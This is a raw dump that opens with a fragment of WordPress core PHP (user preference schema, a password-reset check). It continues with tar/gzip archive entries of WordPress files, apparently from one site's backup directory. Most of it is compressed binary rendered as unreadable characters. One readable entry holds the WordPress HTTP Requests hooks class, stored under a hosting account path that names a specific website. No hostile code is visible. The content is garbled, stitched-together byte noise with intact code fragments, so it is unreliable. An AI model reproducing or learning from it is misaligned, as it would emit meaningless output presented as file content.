					'type'                 => 'object',
					'context'              => array( 'edit' ),
					'properties'           => array(
						'_modified' => array(
							'description' => __( 'The date and time the preferences were updated.' ),
							'type'        => 'string',
							'format'      => 'date-time',
							'readonly'    => false,
						),
					),
					'additionalProperties' => true,
				),
			),
		)
	);
}

/**
 * Sets the last changed time for the 'users' cache group.
 *
 * @since 6.3.0
 */
function wp_cache_set_users_last_changed() {
	wp_cache_set_last_changed( 'users' );
}

/**
 * Checks if password reset is allowed for a specific user.
 *
 * @since 6.3.0
 *
 * @param int|WP_User $user The user to check.
 * @return bool|WP_Error True if allowed, false or WP_Error otherwise.
 */
function wp_is_password_reset_allowed_for_user( $user ) {
	if ( ! is_object( $user ) ) {
		$user = get_userdata( $user );
	}

	if ( ! $user || ! $user->exists() ) {
		return false;
	}
	$allow = true;
	if ( is_multisite() && is_user_spammy( $user ) ) {
		$allow = false;
	}

	/**
	 * Filters whether to allow a password to be reset.
	 *
	 * @since 2.7.0
	 *
	 * @param bool $allow   Whether to allow the password to be reset. Default true.
	 * @param int  $user_id The ID of the user attempting to reset a password.
	 */
	return apply_filters( 'allow_password_reset', $allow, $user->ID );
}
14338/class-wp-feed-cache.php.php.tar.gz000064400000001203151024420100013405 0ustar00��TMO�@��#��v�&P�J-� !q�Z*mem�c�e�kvׄ��w�I��K�$�ؓy3o��MejLK�ԩ��F'P�Pȵ��m�ڲ4�B�V�y"L�Κm��jt�Pܹmʔ�Ŷ�¤����1���6�`���pc8�Q6x��)������!Z繥�b�?�ߐ[,��d�	G�!�O�_��$/�A0:�� Լm����g�:8�˺v��!9:%�d7t�6�4d��tɔ�|��K��Ǣ)w�y�=����<��������=�O+� ����VsP�4�4��h�mtj��T*��0����nN$�0ɒ�&t��j��ZpT&*��
p ����Z'�Nb�[ix`�R0h� p��C�&��&+A2e�˥"�>�+ef��$�k�^���m�{��u���>/����(p�H�:�q���L���I����M6����A��ʐa�=��'p��s԰�X-_�G[K�Pq](���G
���rj��eK-
L���V��T6�t�@�a�A��b�����v���	��ڲ�����>,��]�3eQ�N�P�Zt�N��Z���b[w)�ɞ(Zr
���ׯ��c�
�a���)��)���c���
14338/wplink.js.js.tar.gz000064400000013753151024420100010705 0ustar00��\{s�F���O1R�e��d��]J��q����]��� b(�%�b��ǼPvv�v�*��%Σg�����\�ɼ����b2����g���\&EV\�W�z>/�r]47�\N�W㬘��T֓75|̳�m���C���|��������}~�ރ�����/�?}��?�I*�b�Ÿ�ݻ[�k�nV�F�m-��lm��]q��I
�C
��|]̚�,�bw�j�����n
��J�4k�j$j�T��)|x�]�ײ��YYUr����G[��\&Y�B^�w+q"&?�=���/��?����?�߯b�p����?�N2콮ܾ�EӬ�G���jo�j�j���g�s~W��
�J
~��+����է�z���C�E�d�F"+DZ��KY4b�hkk�9$.e��[�z2c�Q0�l�U�
�] ���I��y/�Xq��Tk�s!���֖�W��ʰ�:+��:V;uB�`�iyZe���"�O��\�2+���>�ϯ�U�ӝ�{f�_�MS.O`-e�N��z+o^ʢΚ�*kn��ȓ�yI[=Q�%�|�&�yY�I��J�(�$��h��5S+P�)�
�u��f���@P�Xt�4K��	�NqJ��HfoӪ\�ƺ<h^�/�Y6�Ҡ�,/k��ˆ%a0�L�3l;ݐ7a/,��H���(hT���L�u�&y�[�1MUA�v�Y�>M.ZSH*ؐ��-nP���/�Y�
VZ����/�5�!��1��:oj ��U��4�>��-˺smog�K�F�]ON�9h	�A�t7��(�%��ɀ��1��Q��Nq��q�1��:����:�_�yC�9��$ٔ{l&�MV|
�4��	y�|_$E���y��?;榈��U���N�c��گW]�ǭgy6{����y)1�O�ߊ�C�6P#�W`I�*��V�*n�����H�q���	�Q..�``��m�4�`~��XT:�����}��<��M�*�Wyr#"�]%��|���9��@.�w����;�e��χ�cvQ.��7�|��R��
b`Y^�'�Yj��UR0�$V(c�g���s����<7�হ��l�����=���T�5W���W��
]D��g��ի���Ӣ�E�{>+YI�E�^���xpp :��/`~_vM�]�;�=D{��=�q��ۮ
z@�:Xx��E�XD)��?��3I���f�B >���W
���P&#.2��	���b�W�`�����$��
�WC�>�~������]������,�����g�_=z�*~�j�7�P7L`O����9Gb�[�Fz��`�z�ǒQ�5d�F��#l;"(���tDtw/��]���1�%+�@�
�j�T�o�,Ǔ��G��V�4"��a�1NO7Q�`�$�x@UY%�%�fdž�zU"Ю��cX��|���4T\2�EwM�1�ӫYd��k����C'�5d�0�67+Y�u�&+n��;Ph�u� +d�)�F|����^�oR��+0
Y�e��`�e��&s�����R,MY���Kp-h%Er�;+�[��q�]G����Z��$X"�Q���VV�VY�
���@�]Uf
��=�V��ҋ`�Y����'O�6g�}2�=���1yJmQ�JKg�D��l�}�k�e��
Xk�\U���Y]E6�icV�T"�|���t��Y�`'�q���]����%����Ns��9�)��y��U�!��#�m=��ފ���.��Խv@bX�t�uF!0FD��|���P�`�_+�zR�V���E��qG!4P�$�NnjҸ"�R��nM�Hjm2�O!c�9��#�ȶzh5��mw\�0�gOyvg�nq��߿�7�����|I=4�w��\��w�i�H]�"���B��=��%F05�Rq�y���a�8��z|
I��;bf!�F���s�}S�,Չ,�k<�DJaY0��M/ʤJ�kXcA�-���N��K��]��Ec! aIG���.9�����P�������q@V,g�zd:=���c�9�<�E�b��jP; ���U�m���8�����\m������E��؉�e�Ҕ0�!TDh���d�U�ƅa�*)d;̷n�<�-�<��ǹ,.+~SL'y�`���'39$K`S����u`q^�d���h=�C��8�>��0�b�en`�c[1<a�ц���-wB)+�����b�qP�Ȳnr��7�'�?$�~������?<���|���$y���ſb#��0Z�_9���	؝�c_�㤼h���#�F?�
�ŏ�?�.B�f��|ԟ!�����W�` @r;����><�{<����n}���y�D�0�N�����$�/-��e�v�To�M��ܮ.��1)�@w�����T�0Z���!���MՏG@a?���=�)�)����q��t��;��4��i��3r�T̅ő���:T�jy��熐�a+�9QJ`�I�Ý���j	��=0� ���zE���dt�BVQ�:��͇�+�ј�C�8���<��Tِ�&]�TyLӞ��|�5�nB�����v�2���2�ꀗS�
�|�!�T��R6�U��=�	�:5[����6ɚ�_*�iZ���]K���h���/(�l�s��?"��P���Z~`�	x���}:��m�c獡�;���Ix�[j��������k)e�]�[���N�۹� ����H��!�
�yFd:��~�֢;����;���?Y��Ǹ��R;3�����V�'@�]�f�]�*__f�N�;���$�V�^2�M��'��E���G:uKb�W{3�A�����he��T*��8�i_&�=:�}�h�v?�>dJI&b����~0љ1���A
�F�9	B�`��d�E�9b�U<O��Dd��p����� �K�SD#;m�eG��*��;�seW��!�F6x0U�ёY�"Fm*�ą	Y�#��lȨ6�fiMw��-L�ޜ/
o�hyT�P���*I�鯒��Sc-9e�C4}��q�X&+Ό�7�U�|�j�bT'Ԧ��9�,�p�S
���`�q�eQVr�8�V���|&��x]V2��3V�.74uH��Tɿb���'�5�z#�9����#up��R#	�ł?�+Q�`0y�6��u�82y�&	|Ta�������
�Z�'*�Н ����}C�0ڍ�P;�!�:�|���q7�:7kޕ���d��~�c#�U�G
�'��u5yZ�T��r��'쬕ЌPr�v�R�RI'L*)�����>A
�g��{o��8U
�;Ҳ��D|�!l�x�M �|9P�L�hĐ���
�u8K}�,wؠk�J�_V��rԳ�P�d�qߢSw���w�gݛ2��iv�K�R�3���U����0�tjF�	/n�YV�Ӌ��Û�^��2"�g��s������:�E��E&5��<P�QhV���'�r��Ũu�^쒘�_">�)^��&���f�̺�U5O����uN6�e⹺�B�)�M^��"#f�zA�R]���C��z9]�Qm���C����cmچ�0<��5�r.G8���Y�ZG���d��4M�M���S�7nk}���ʫ!�Gc��,
�	G��1��l���0	x�3>g��tx1�6{�N��#�^\LK���V�E�n}vp�of{bY��H1=�va��bB�	��t�Oc��~�����f9���(�@%�+	�W���쥛?ZIm�cSʪ=�&krI��dZy$��?U��U�|�����XG�U��b���q��'&�<K�!�7pȷI����α���[��j������U9��]�v���H�l�%���V��*�aMSN#ַ�o
���'�Ӌ�ްv����N�\������>�\f��D^vX��ɾ�y�����%�dl��媹q2�Ή}}����
�t\�1��K�d��x*��+)����j��r�5D7T�N �(.G*`To�K�c�vˬ�7�٩)��h�9��F����{bN#(��D�������&�]/��+��nH�رB�i�ҭYr{TE�ى5Ն��=�55�*va��^5W�����0���3�z��GY=N�"�=���K�)v���4t�܂c	H�uiK���Q��W7�Z�w �e:�day}����Ⴣۈa�Nb����7ӾG�@�b$��Z�z��H�l�ޟ8]A/"��s��3��uS��-���P���2�E���
�ɵ��0^���w�g���^b��}�B�۳�rD��=Z�]����%�գ�"P��f+<�-�+Q$W���F�::��Iߴd�-�y�o�u�^�n!m|��r6��z�>z��n��	XgH�A<�*���+|r��w���`:`v��	,�rS����<����c�#��a_}�����jt
S����v�ښ��"�sD[���Z<2O�"�%��6-yO��b]杹���C�ǻm�4!5��>sޕ꘲W(�}Z�z��G�J'c`;@.���Dzh�d[��<���$���]�5���
_�P�40��
����˚���F��TȤh��)����������f�og���ׇ��:��`��
�gz�e���w��=����"2	p
k6зL�,��925j�*����+"����[z슇�V������d�;C��.�D�35�����Z?*�V���7���vv����e5^PS��z�7!�(槌�:�
�Q;�?��.㻯����w$L�??�f��U�;��!�ers!�21����w��O�e�Y,Ubo�Ҵ׻1�=��]�7F�#"�~#�!ΤһBe��!�:�����NU����D�s��-<���`hO�G�ᤌ��	 X�Y����逜��I�L�]SZ�Ƌ�rI�_��6�>�U�}K'&��ȣ6��3V��_yv�O�d��[�n6m]�	�:�<�	����㣭�{m���D�M����,̠�Z(f�I�kc�`5e�jT��P�n#bS�y��G�	����*�:�qB��o�kp�kz(�}EN/DZ.�7�*�}u�%�7�:�D��l�C_��N ����gVh9o'�e�Bԣ�]�蕅o�1�����ȴ�ҴT�Oy�7Sm�JhG�d��G�_�G��Ա�OJ���2�pf���R �f
`|���e3�]˱7%�F���Q�Z[��hU�	q��L�O��9�s_���j��+<
Cv�:���^_13R�WeAߜ�����!��WI�,k/�=G�9�(��f*�$�ؕq�`f��bLg��@2k��d�~F ZJF�0�O����Z�	��nR�!�_�B_���ԁ3}����g?X�L@��E&��Gb�����d)��$"��/я�� ��v�'��x���'�w�㪈(��2ifY���Hw׫��m�)T���H�e8�ۢ��I|����=� %��g͛�A�
P�����F�&d��SՍ�H\�6��	��S+\(������y<��CPD;�ȱ]��Y������_����gw&1u����AĤ�z�n�-�5;��۩S,l
�v�5VV�K\��.~��m��{���Z�\�g��>��`X��X~��!�U4htI�L������]b�
�����~_�
�j(:Ǣ�2�`�qe�w�u�+'}В~z�'���畁���R�N��X�s�;o/��8���S���z�'x�\ckV��`�9נ&}G^��=�0������/�S_��r&=~���
��	���H���
'���7b�^�11lq�l{.G�K���F�}�ڌ��L�6)�T������LG���f�g>w�=t��aݞ���� �.��Sv1D�߳�s�o/������2ꂕ��ق�=�B�8y�q�M1��ԥ~�cdr�>+(22����*I��՗Q�"l������~������5��{Z14338/Cache.php.php.tar.gz000064400000004121151024420100010717 0ustar00��Xks�H�����J�€�n�ɬe!۪�H"��bd���J�d�����-2�O�>�C����o����^y�D�=�L�O��m���27�Y��|:M�;/��l�򒨽H���s���Di�Fk�uכ�V:O_UG�����Q����ѫ�w��㣣���0��ݻ���/�\d.����?��8����۷{�֧�����r��
�e���>iY�9��9w#�H�]K�:����]�$�(�R���d"��XȘT�V�D�Y�ĭҦ��K��սv:�����&YK7��ˡ�I��3�O�r���s�T.zI���6�.TaHJ� 0��{毬Y�D!��\0
b��s���� v���	�D�A6���_`���4�\����Rƣ ˀRʓ���C6w3��S�,$p��>!�QIJn��_�]��'/�!�"�̅�R�{��˥zq��恠��@i�fc�'�By����6+��|A�~�^�N��z�;T�'^�8sW'��a$X� Z�x�T��^���\	�߀J���j�|^_r'u (Ue<X�-��K��X�c�I��(���ۇ��#M�P�#�i��tXL�̓æ �����	Q	ǹ4m����'�2�#k���=:�ƢA�ptm��]�=òI�0;p,�l�1�Z���Z��d�<�ۖ��W��	}0`i�4�&��?�&A
���+Ӂ�3l*���hxNW��_�U;3��s��+��������4�1�q_�h4�FC� \ϴ��f^��Q2>��K��<֕��pV;��9�3-CwdX�' ��>����M�`�l (ͺn����i9�SO��.f�w�	�c˸��{|f;�3v�{v��6���n�'��
��m4a�Ѥy��a�gc�T��ǰ���1��@��,�5l�) �pAch]K�uM�ti`ޒ�*�4��
�t�*�@ҩDJ�o^�(�JE�L�h��L[ʘ�8�c�<4�V<V��TGK�9i���t�����,<)��/K�Ww�4u�;w�T8:ݤ����Q�Q��דW�ӕ�;�a��<��n�-�ki�Z	���<
�<c��Rv�X��3� �
��h�
�|����=��P���S��T�8�ۓeo��Yur�e�?Ywc� �y�!ϒ'E(��'C[������"PdBT&�:	�v*X�P�+X6Q�&j_��)5��L~�"k��M�R�+Ll�XJ1����J���[��l���8�>��߮d�<j�GMc(�,��V�A��NSu�7�=X���n��:����o{����m1�
����rq%���� 6��t�������\V%T:����)몉H�x������{��%�i�_T��-ѐ�ף7���>�M!�Q���kXS�~��6����O�Z�"�"�T�	���#[�ڳ[��.����RMNM����ĵ�F/))Y��E#|-�ma�K�N��S��d��So(�����j����,/�#NH�6�ބIю�����.��
�O^^e_�&
�5�Oh�!S��8����KhJ�Qt�r���C�]�zdL�
���ʻ)S4�a�����D�d����V�.7��D�2U�Ya ���а�a�5�<<���q����pQ�����M�͊�Ճ��M&��@��4DW^�ukM�(9l��ȪߛΗ�J0��_Y�f˺`��]߫%��Ѩ�T��$��?y \�'�T�07
Jzn�}yΡ�j�#�65���\d��	7�m��.7֤(�����l��*�
��-�5p��"�v|,���eQ,���\T2Y_`b�h�UP-��1AeMz�v]C��8�9ł8��O��U�ߺ
?���=��RHC�
$s����b�2����N{P+[t%�Eh�ܩ��$�.�ʻfid�x�m�N+�B{($�e:b�ިZ]��)��v|�&?O*MN`�.��-eH�B"��ɶ�M
��]Q�Q�l�,|x����Da���n�*l ��殙�g����
f�`��a�vA�M�LM�)h����>����O1�
��r@14338/latest-comments.php.php.tar.gz000064400000003610151024420100013035 0ustar00��Xmo�6�W�W����؊�$+'��C�a���2-Q6YTI*���d�q��^0�h���{�x�\.�+���ϩ*��:�)�R���L�q,��P�YC��o��H�$��������0õ��O�f��I5�p<Y{v�FGG{OF���������q~������H�
#׆)����?8�/1Tmg�
;�k�ZDO#�� c0s�P*��	XQ���Xx�f>H] �4��R�O�XU�� L�K�w�Ybn�9�������i��+R����,Ohc���mr��T�Zf��J.`��e�B�~E_��D����47p�!d����E�3�*hٔ�,��P?�v
��gn��a�뿠-f�N�!S���R��q�
��+%��J����}��i�Âf-?�
K�%����2O"�u�*�%(�R�|F�B���X*��
U��d�)�a��_�^�~_�C����=�I�[(��<KD�~���H��+%��ؾ�h����ýO[������k�kF��dv��9���9���h�yx$�,�S�8a�+G��뼊Ass�^*�T�C����C����,p�J��b�	�
Hy`e{���}����:��H\2��e��vw�2�,q֭�;ٕp�[��Y��v��ӭ;i�VIviW?����i��k�:��ŔbK�2��b� �X�f5Y�i��Ҿ�U�25h�Kg��!M#����Z�ri=��m���^�e���BQ	!̈�B�F$�[�$Ü�c���Yw#"��~�0���M��y����˲d8�v���DVDbj��]��l�����)W�qzV��Wʾ�o�����d�3�^�x�����+�[����{�O���{�fC�?
��%&X'u�`�*�E�+�]E�
���Nظ���+>Z�P0��,�C�?�k��7��K�n��|� ��&�+UA�T|�1�(i��,�ë�}�P�r�͹G&�C� #{ݴ5X�J���g9$m���̸�z)�+�V�!|ԇ�<���gR-���%�����0pTu԰��/~��"��D�e�i)hsb���Aɯ�E��b� Q$4|���?ާr�V�ٙ"U܋#e�G�O��Ń�?Ԩ���XG�G
�KE}���r��W�{J�2'x۶?”)#��-�oU,%�m�,�ae�,7s<0r�@9�(X-�ո��_�i5E}x��nΰQH�*���u6	����Oj��*P��nTs��ۃ�;0W<>�x0���6v�� 㯻`ց�uc��N	y��:c�W�����Ģ��r����`�L
r~nI�?��ۿHRǕr��'�l�j��*�������J5|e@��mG�aZ�p�������k���UcOM�
���pk�Y*}�cpA�����������6�g`�/L#��~{Zœ]c�/Ƃ�\o,O쑆�0s{�9�m�'5qOG]M��w5�	�W̭�h��`
?ǝ��qLZ�����$=�vȶ�T ��92�I�YY��db����3
��ыt�h��xV.��G����4֎�ۇ
��*�c��_B�2�(��8�ۣǝ�2)�2kV���Hcw�
�C�'��O��m�Zӵv�k�r��m�#��?~�2g�8����&�Qu�"
�j��QS�aCٽ��
��W(�R��v/h�4(j�^r�s�@j-]��s`���Eߵ���nck�����X&@�[d�L\n��Nߡ
��p��HD���l{@�-l���
��[��w���Kg��67�;�Q���ƅ��z�Jh���,3,)x��5C���u��eP~�[d}_��^q�#v��+��>z=�Z*<���(r"��mᑽ���/�6��o�3��A�14338/Auth.php.php.tar.gz000064400000001025151024420100010615 0ustar00��SMo1�5�+怔&�l>��"QnpU .�8�٬�]�ة�����M��6 ���!���o޼y��\�y�6��u0
�F��Fe�]%O�,]��.ٸj������NR~�W	)RNA�R�����1Ng��S�vϧ��x>Mf��d<��|z�F�*�E������{�W�@��6��q|pS`c#�Rid��.��k�B�o�9y�Y��3���a�ؓϳ,����G����B+�_c�L����g�����uXmx'�E�ʕT�T�D�����Y�!��\W��̲���D��T���6"4IW���.��Gfyv%�o]
�\\",����G�ɺ�h��/qe��M1m,�%|�9���'��0nZ�����tҿ�hl���۪V܈0�G�,[kC��^z༸�7N�ݢt^�Wػ�;)�i�p�=��)��C�:E��:��^�~��v=�Ж��ɳ�O��h(����t/�s]�<�����#�8�w����Q
14338/class-wp-http-requests-hooks.php.tar000064400000007000151024420100014206 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-http-requests-hooks.php000064400000003746151024206760027602 0ustar00<?php
/**
 * HTTP API: Requests hook bridge class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.7.0
 */

/**
 * Bridge to connect Requests internal hooks to WordPress actions.
 *
 * @since 4.7.0
 *
 * @see WpOrg\Requests\Hooks
 */
#[AllowDynamicProperties]
class WP_HTTP_Requests_Hooks extends WpOrg\Requests\Hooks {
	/**
	 * Requested URL.
	 *
	 * @var string Requested URL.
	 */
	protected $url;

	/**
	 * WordPress WP_HTTP request data.
	 *
	 * @var array Request data in WP_Http format.
	 */
	protected $request = array();

	/**
	 * Constructor.
	 *
	 * @param string $url     URL to request.
	 * @param array  $request Request data in WP_Http format.
	 */
	public function __construct( $url, $request ) {
		$this->url     = $url;
		$this->request = $request;
	}

	/**
	 * Dispatch a Requests hook to a native WordPress action.
	 *
	 * @param string $hook       Hook name.
	 * @param array  $parameters Parameters to pass to callbacks.
	 * @return bool True if hooks were run, false if nothing was hooked.
	 */
	public function dispatch( $hook, $parameters = array() ) {
		$result = parent::dispatch( $hook, $parameters );

		// Handle back-compat actions.
		switch ( $hook ) {
			case 'curl.before_send':
				/** This action is documented in wp-includes/class-wp-http-curl.php */
				do_action_ref_array( 'http_api_curl', array( &$parameters[0], $this->request, $this->url ) );
				break;
		}

		/**
		 * Transforms a native Request hook to a WordPress action.
		 *
		 * This action maps Requests internal hook to a native WordPress action.
		 *
		 * @see https://github.com/WordPress/Requests/blob/master/docs/hooks.md
		 *
		 * @since 4.7.0
		 *
		 * @param array $parameters Parameters from Requests internal hook.
		 * @param array $request Request data in WP_Http format.
		 * @param string $url URL to request.
		 */
		do_action_ref_array( "requests-{$hook}", $parameters, $this->request, $this->url ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		return $result;
	}
}
14338/Diff.tar.gz000064400000024247151024420100007223 0ustar00��}�z۶���<⥯�b]�Kϲc'݉{9+M�%���9Z�Y�)R��l�k�<�~��bg.� %;n�.a��f���`���D�2�-f�����<�<p��������p��`o����5�{$�B��LR/�&?E[����'��w�������bxI"�H�$�?�&��>�����F��K�T�:og~��q�>�T��/���s՞�>>BM���{)�J3P�R��g�����=(=���z�Xv��4��^��h�L��g�b�g�T�
�{��0��(�HqG�r���,M�����Uo����V0�HI��pD	�1�)��:���"-"��2L$�Ɣ�Q(Z/�=y��b-��	�
��3���d2VG$���`E�x�X(��lt��þ&���_xgR���t�o�w�o������w�x���'^.�Ȳ��7��31��/V��	�P&;��E,_ʞ��+S'�hL��9M����dO�N��e*��)}���{kq�����Ȕk`��cq�K��V��ҋEc��)dG��8��
���5���,
�4^��(΃�.�1���p��h,�؛#,/��u�-�T��\�E���3��E�D��G�AX���4.`s�=U� ��?-��Ȃ�Q�]A`����p'��Ý;_ +�>�|w�@�mf|���b�<�1�q�<4�L�"��t�ɿ���/>�:�[�d/\+}L�e
�(]Oc�.�[�� �
�Ȣ�@�)���>��	��*vf���r?C����%�Gm���b_a6.�
ދC�vg_r��`T�xG��c�;�|T�Q@�X?[�~�f���YhM���>0�e��l-�
 �:��V�)��c*��;�EM�:c�#�k�w�1�qDc�4LbAbI|C�*��Cԃ�nj[-Z�BR*V����`B�*h#�ȷ<*��C��I�)ɚ*���lɉ�ŧ�MБ0�z��ۙ��[�h��I[�kq%��R.�x��m������co��Y��4��4�CS�"0꩞�t��zy-��#���y�!��S���#��=�z��I�Z�O�-٭�H��8�����`:�<�(.ah.�P��r�4�!u�!�Y����芡xb�o_K�~u�T*8���Qv\[<>䶪VD��xH0��p0�Fk`j�Fp@8+a�f1���,
��_��;R{H���B�����-s��pE�3k)ȓ啢��Og�� �7`@(�0�mY>���6JК�;�#-m7s���HWi��tk5p>����4�D����a/S��S��ʨ@�5������6�yPk��(V
�ܨ�w�̱���_�P2�%��2J�B�R=r,���`1T�R�a3��N�{
�z�f��D�)��xʣ��֝�D��hu���ThEׂ�!�HU+*��,ٶ���MY�i�t��؁�����a��4�ۓ�ø��*[e��N��s�r�"`.��Ѽ�e�A�]Su�����*)&�ݯ�4H�Ym��J��j"N����ok��%�3)�n+�?�͢�`̡i_�F۶�3���%��e�&07c1�5�(���t�(��uۥN{���d��vE���/�S���h�[|N���;���&��Z��rR'��ht"�k��Nn�ZvC�d3�,ykg;��W�ޱk���V
˃+��٬�i�5�m9t
PIWb1q$�%�`���F�,^X���nɁ\W�\@�ȵ����s�f��l�|��G���S	6�-cU_~)�2�.D�]�52v�@��Nf�*����~���D4�M�Ț�f�x��ԉ�R�3��
qP���_Ýj�R�zM�"s��P�{̭����hV���?_�D�/�r@�v=�Fqrኆt8&�bSf`�f�Уj�F����j�F�)uƊ��A��)`q��.[jK��V���;�ؿϣc�}?D1�]��7���=�?(�����뿟�ɭ��|OB�î�^��wXS��) +�3�^(N�Et��Wd�k��~ꋟNğ�����X�m��r�c\�Co.[��h��/�G�6��f����s�v��X���e{�O���MR��Ŏ����� �j�y�M`l�|�駸v��gRY\[-Q����\*�w+�9a�Dž��*E`]�򢕣U�:�L���Yn��rzKm%	��W4f�̄�5m����>�)�����ݡ�(�f��^�A�2R��!Y���~�IJ'qL���It�7h��2��RΆO�F�h�`��$���RZ���l����5���[�D��J���uDv]�+�=

xV@\����^�9Ɵ�h�i�}�wZ�p�N�%���1x6�5����Qs���a�+/�0�9��%Q.��+6�n7�`���w�b��Z���¨%W����4����<���RB��
K���:*ԫH��{;���у*�+z���۹��5�fx�~������)�[��V>-�$\�&.*1�Q��@�e�
�;G�.��[�|��H�j����\I|j]j���$�Lܐ�["�RV�|��j��?��"s�P�"Fɘ������D#����m������Wr�5)>�h��5�9�8��k|p�K6Ъ�0�J�! S�օX:�+Ӑm�{�]p1B�ByE��܋/���Ŭ����`�n���OI��U*�,��!8����͂k;��7�j��8�S�ۯ˻!�sS�k��t���`�-É�R�����5�#xG[*p�$��A�w���M��@�>���I	�ze%�r9B�'�L��ꖜ�
B�[�5�F\��A�1�
ۧ�Y�v��r}u��-�&����]�sh�x��Lj�����KMKC7)�b�Њ@6 R���~�3�1�L�@%G�Dgɔ�X�L��
a�J?h�t�r����nb/��u�q2��TG�S�������b_��T�]8Q�W>Hw<G��d�˺Q%��B5m�=�$���R�D��t��s+�m�,";�=i�/�5�R"e_�o�ʂ��µ���
�^~|һ�qJaK�C���n�P �R3|a(=����k�J��l�LR���p��1d����F�CG��5B�rU�a��U7�/��Y:���^��.)t�']9π�}F�w�V���ݿ_��գ������ab�M,�П�����'�U���ɳ^6,S��ZǓ�W��r??�Aq��\,G4؈r]z�&���=*B����lզvGj[U�v�mqy9�E��x����@������0g&�GO����pT.���`�����4�q1D�Ao�7p.'�^)�Y^1P��U	k1f���G�C��燉��m�|�H(1c��T���`w�R��)��٘���6/�fWnvl�@�R�q](�!Qu29Nq�ě�ܞҖ��a�`hlss�{~90��)��]/o� U��WQz�!Ĭ4}��Y*o���W!��!9��� ��:	>B7٬ذ9������gL"�Tl�R<~;���\���9�B�����X_��ʜ�tD�m`,�v~�ѐ�b%��!N'�-�������Y\�s�Y��������7�<aʢb<��6�ۈ��{���`1u��|�P����&�VKPE��������qGq���/>Nj�r��pY�Y�f�)�L��,q;�i�{��5���VP���n�X�N�,MmWDj;�Ǵ�U?�&(ρ��Z����ED�@�j�Y��կ�Yon��_�8�h;�C�
�<N�d,��9 ���Rf�
��t�w�g�(NQhyN�R�+���cFX�kI�-�hP��E��=hC��M����^�If�4m1��{��4�G�8y?�ύ��s����wð�4��'e
��=��fc)�ӛJ�f.�í�gd}KN5w����y���@�������=�*N�>��ar٭��]�סqw�p�SO��
#�;;4�5�
�Б��]C
7�:���o붩j�J.�u��ci�X%�`�ٽ.���&��V�Go�e5=��5�W�W��%�%H:�w��#b�E��n�7�f\G�*���^���ڭ��C�BVs��VĹ�o"��2H=�m�"�n�>$:r���'�:����9����Lt&��[��ù�v����	�5d)�jV��4��s����Wсl�M���0���W�UDѕ�^����yY�4g6���<��F�����ܺa�_U�KTaA�L�=CC�V
6��+�9���<Ǐ:,�7�㼶G�D?�s���*]¦�$�@W�c7���|*e�'��qƣ�b��
-�.ܘ�LjE�D��[M?TO
�]�t�R�n]�=X�2'��w��s:D���a4N�ͺ��ne�>�9��ݞ/4C9SAm�����6���=�����Q{^Ame5��8�����:ׯe-1(�"g;��>�t��a��5M���T����9��%�J\P߭�<1[K�����(��Fԙ�w]
�w'>.�j7���ě����mbO�Ϸ�'.���'���6<��Xl)a�QSe�RSժ
��:߬�n.���*&�:5�q�{�!}s�4<�h����7u�?o�$��YQT�w:�>�g�����s��'xr�?�(	�pczA����t	o�.��8�/�i�F�:z���1H����B��褗�(v�P�}�#c�N��J-�!Ԙ�w*�+�u��1�B�ܿ�)�:�Ck'^�y��ϣ𩡠:��2ۆ;��l�L��$���I�F�����
*=� �9"i��_rrg��Sd�
m	���yɗ2N����L��:�Y��#��S#s��D���,�{0��6ID����S�j�p}zlQ�d�7�c�V������@�6k�3���l*
݊��j#�t G˳�$
�Zf���ԟ˞�M�K?��*[��pOE�u:C�F����XsJ^&�]EbmH+;P��*�l�߱W~����}φ�2"���֋	�=H)62$�m]}�ybG�vlH�|�0������3PtH��C�`���Љ
�: �N{͸��t�<�<Ŭ3��p�6�K/�'0ƂS駔6���:Uu"�q�/p�I��N����e9�������ѐ�����#,�tD"�JT}\8>ڿ!(��_��Mbⴽ���c���M�m���T�p�ݴ�����(��7`�!�����{4,�?�|�˧x����s�����s� ,Os,mxs���nH>�b?��
�n7�<["�%;oW�f*/I������l̤��ao𨍄������:�L�ޥ��i�F	�XЦ�xᅽ�L=���8��Iߟ�_�_������v��l[��/Y?�3"���H�p[��}ay�8�-�~ON���'�$�~�>���h������>I4�[8{�ԧ�g>�!�
L�^��M��,���勤sܵ�t�z_in���)�pknL	óp9����8�X�⻾�����@&���S�`<��Ǘy#���`������yLRr�.ڈ��X�H��sϏ�_<���/y?��U�Ve܆L���Aݱq��x���D\A���p��s����&�Ŏ�ѡh���a�;y�[�����R��T7�4V��=Ƚ];߮.�
�W~X�Sz�ȿ�_���.'��d��F8"�`2k�^k8�Xr	m@����*;�c��)�J�V�˺�~hC�o���кi:��'�֪_��s�l_����d�9�T%tI�9��>>6l���U����v��xG��~�����܎���K���P�$�C�5�Ai.ި�o���B�x`�aa���߀��bm^]z���-�a;���7�N�Eg��'�ID�[�0χ�(���Ȋ��<U�X���u
g�2{�����9��m\�
��׾�|skWs�)2���c�
�"]�4��}�`t|��4��<�V�/��,�.����j�}Li�:��mE�Tl[�۴������ʯ{�H���KI�C��O0�[k��"U�mZ�̽\_��<-Cp��j&�"S
�rc���?M>gq��S��Y�/���K�D<�\+$���+jsk�Ǭ\Z�\��E�ޕ���.���l�#+8d��}HU,����Lx=����8��$!�3;��*莕
I���q�q-c���e��Gݕr���0������gw7�D�q\� o��F57�Ҡ�_"��`sR`6�xmv�ř�B�bZ�F�7�eIo���~Ȍ�=um‡�+�[��v��3��a�F��\�m���]	��S
��탿����ܿ�'j1�����glk�Y��\��5ap���i�|�6��_}�MG���?�ɽo����/�u4�V`V>���pW�wk0�<ÐVi_�k�'!\:���p�q��`���QH���(��.
L�;Q�r"W@�0D-{M��"
�U�dy�a���x�
t
�Do6������C�n[���_�qg���
��
�QA���^[qDBs�"A�e�9Hw��NP���;E�{xm>S�R�M���^�ü�����
�L/[�Z6�� 7��bb���
m��L�Q������(�B���E��� C2s<X��lr+�!v*��v���ZhDN!oP�i�,"I�Q못�'�w�
:��V�k���o�x�/�%M���S��Q���d�"\����;Bv\�vF�؉�s �,i}ߜ�鬂��3�S��s�q��\%�3�͏�l�1���S�x<n^'�!uu\)���g��,5���"W�
A�yCڈ���
����S�ϼ���8r<gU�έv���z;,J!�`��~�Hλ�{�G~�W.��4��s�Σuݥ�"&w��]3
���(r���Qi��Ϗ
��"N��+�3�6gZ�:�M^U{&�r�w�
